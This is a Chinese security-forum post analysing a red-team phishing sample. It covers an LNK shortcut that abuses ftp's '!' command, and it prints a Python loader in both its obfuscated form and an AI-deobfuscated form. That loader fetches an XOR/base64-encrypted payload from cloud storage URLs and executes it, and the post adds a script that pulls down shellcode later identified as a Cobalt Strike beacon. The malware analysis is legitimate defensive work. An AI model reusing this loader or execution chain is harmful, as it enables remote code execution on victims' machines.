问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记录自己的第一次红队钓鱼样本分析
划水摸鱼
HVV 遇到了邮件钓鱼,有个样本挺有趣,自己又没分析过样本,于是便想尝试分析一下,并记录下来,同时学习一下红队大佬们的思路,大佬勿喷,讲的比较哆嗦。
记录自己的第一次红队钓鱼样本分析 ================ 详细分析过程 ------ ### 尝试上线分析流量 先尝试上线看看流量,这里我用 `proxifier` 强制走 `Reqable` 分析一下流量: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221125676.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-a5c3f1323d75621db3f892097d205a7092249911.png) 使用了阿里CDN,有点像 CS 的流量: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221125757.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-2807ce5aa4faf1a8a8318d503515b6f736f9dce7.png) ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221125950.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-2878a7feb619547804ff505ad4b38931e7a67cce.png) 查一下域名,好家伙还是备案的: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221126060.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-732850586bf438e616973650e249fff5b3546086.png) 估计用了域前置(我也想用啊 QAQ),话不多说,开始分析! ### 分析上线流程 样本是一个压缩包,解压后包含一个快捷方式以及一个文件夹: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221126150.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9d49dfa07a46f572ecab4d0a66932629eef8cb33.png) 解压后: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221126283.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-2a638ac69c1c56e636f9b568306b61e59fedd508.png) 文件夹的内容: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221126537.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-cfa76276be9b75c563d5d5a0c7f3b5a6beeea0df.png) 这一看就是打包的一个 python 环境,并且是 embed 版本,可以在这里找到对应的版本下载: <https://www.python.org/ftp/python/> 接着查看快捷方式属性: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221126625.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9eb95bce19101ba9baf96ef91636b207574f854e.png) 这种快捷方式我见的比较少,他利用了 ftp 来执行系统命令,通过执行-s 参数执行 `WeChatWin.dll` 文件内的 ftp 命令。 查阅资料后,可以得知 ftp 有个特性,可以直接使用 `!` 执行系统命令,这我还是第一次知道,太冷门了(红队真狡猾啊),并且还可以使用 `-s:<文件>` 可以运行文件中的 `ftp` 命令。 有了这个基础,接下来我们看看 `WeChatWin.dll` 里是啥: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221126728.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-f965ea5d32a3252990b0017aa87492170c33c688.png) 不出所料,使用了 ftp 的 `!` 来执行系统命令,`start /b` 代表以后台模式启动一个程序,分析得知,它使用了 `pythonw.exe` 来执行 `main.pyw`, `pythonw.exe` 是 `python` 的无窗口版本,然后又打开了一个 word 文档来迷惑受害者,并且它还是加密的文档,正常人遇到加密的肯定想着寻找密码,可以拖延时间,其中 `bye` 用于结束 ftp 命令,避免出现黑窗口引起怀疑。 继续查看一下 `main.pyw` : ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221126848.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4efa1ae81cd0ad0a8d8704945553d026258c48c6.png) 导入了一个模块,同目录下还有一个 `action.py`,是一个混淆的 python 脚本,猜测是在这里混淆的: <https://pyob.oxyry.com/> ,代码如下: ```python import ast import pickle import ctypes ,urllib .request ,codecs ,base64 import sys ,ssl ssl ._create_default_https_context =ssl ._create_unverified_context OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB').read () def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ): O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O )) for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )): O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )] return bytes (O0OO000OO0OOO0O00 ) def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ): return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ) def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ): O0O0OO0O0OO0O00OO ="" for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ): O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ] O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO ) return O0000O0O0OOO000O0 .decode () OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ()) class A (object ): def __reduce__ (OOOOOOOOO000000OO ): return (exec ,(OO00O0OO00OO00OO0 ,)) def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ): try : O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec') exec (compile (O00OOO0OO00O00OOO ,filename ="",mode ="exec")) except Exception as OO0OOO00000OO00O0 : exit () OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths=" OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O ) O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O ) ``` 面对这种混淆的代码,实在是看着脑瓜子疼,于是使用 AI 来帮我们做一下还原,看看代码在做什么,有一说一,AI 对于还原混淆代码的能力还挺强的,以下是使用 `ChatGPT` 还原并加上注释的 python 代码: ```python import ast import ctypes import urllib.request import base64 import ssl # 禁用SSL证书验证,允许连接到不安全的服务器 ssl._create_default_https_context = ssl._create_unverified_context # 从指定的URL下载加密的脚本数据 encrypted_script_data = urllib.request.urlopen('https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB').read() # 定义XOR解密函数 def xor_decrypt(data, key): decrypted_data = bytearray(len(data)) for i in range(len(data)): # 将每个字节与密钥的对应字节进行异或运算 decrypted_data[i] = data[i] ^ key[i % len(key)] return bytes(decrypted_data) # 从加密的字符串中提取Base64编码的部分 def extract_base64_string(encoded_string): base64_string = "" for i in range(3, len(encoded_string), 4): # 每4个字符取一个字符,拼接成Base64编码的字符串 base64_string += encoded_string[i] decoded_bytes = base64.b64decode(base64_string) return decoded_bytes.decode() # 解码从远程服务器获取的脚本数据 decoded_script = extract_base64_string(encrypted_script_data.decode()) # 定义用于不安全反序列化的类A class A(object): def __reduce__(self): # 将解密后的脚本传递给exec函数执行 return (exec, (decoded_script,)) # 解析并尝试执行传入的Python代码字符串 def execute_script(script): try: # 将字符串解析为AST(抽象语法树) parsed_ast = ast.parse(script, mode='exec') # 编译AST并执行生成的字节码 exec(compile(parsed_ast, filename="", mode="exec")) except Exception as e: # 捕获任何异常并退出 exit() # 加密的密钥字符串 encrypted_key = "tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths=" # 提取并解码加密的密钥字符串 decoded_key = extract_base64_string(encrypted_key) # 尝试执行解密后的脚本 execute_script(decoded_key) ``` 可以看到脚本的内容主要是从存储桶中下载加密的 python 脚本再使用 base64 和 XOR 解密后再编译运行,同时还定义了一个重写了 `__reduce__` 方法的类,后续的 python 代码执行可能会利用反序列化来触发执行,尝试将 `decoded_script` 和 `decoded_payload` 进行打印: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221126945.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d480be73d85010c8af04ce0dfb53a854a48ebcfa.png) 最终利用**反序列化**触发执行 `python` 的远程分离加载器。 ### 提取原始 shellcode 使用以下代码将远程下载的 shellcode 保存下来: ```python import ctypes,urllib.request,codecs,base64 encrypted_data = urllib.request.urlopen('https://acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com/OwJXDt3b').read() encrypted_data = encrypted_data.strip() def xor_decrypt(data, key): decrypted_data = bytearray(len(data)) for i in range(len(data)): decrypted_data[i] = data[i] ^ key[i % len(key)] return bytes(decrypted_data) key = b'BVJgJShZbeqfrqHjp' decoded_data = base64.b64decode(encrypted_data) sc = xor_decrypt(decoded_data, key) with open("shellcode.bin","wb") as f: f.write(sc) ``` Shellcode 如下: `E8` 开头,有点像 `sgn` 编码后的 shellcode,使用 x64dbg 调试: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221127059.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9051bb49fd5ebbcfd0cae2fbed35118a62b48d6b.png) 可以看到有些指令不合法,很明显是加密了,单步调试发现它正在动态的解密,应该是经过 `sgn` 编码后 shellcode,特点是通常以 `E8` 开头,使用 `call` 指令作为入口,目的是调用一个函数来动态解密。 接着我需要 dump 原始的 shellcode,因此这里我尝试对 `LoadlibraryA` 进行断点,因为这个时候 shellcode 已经解密完成了,断点后点击运行并观察 shellcode 对应的内存: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221127242.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-280fd1e92eeeb7c91723a5e0540b51c8b3ef63b6.png) 这里断住了,可以发现内存的变化,可以看到有个显眼的 `MZ` ,经典 CS 马,将其 dump 出来: 使用 `CobaltStrikeParser` 解析 shellcode: ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221127577.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4900b2b1e630a48d3356e28b670e2deb881c06c5.png) ![IMG-10-记录自己的第一次队红队钓鱼样本分析-20240820221127781.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-b0844a3d18d0c9d8bd1fbd618c4b778ec19d257c.png) 分析完毕!
发表于 2024-09-14 09:00:01
阅读 ( 1331 )
分类:
其他
2 推荐
收藏
2 条评论
CClei
2024-09-18 08:41
样本可以发出来学习一下吗
yinsel
回复
CClei
已经不可上线了,属于远程加载的
请先
登录
后评论
请先
登录
后评论
yinsel
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!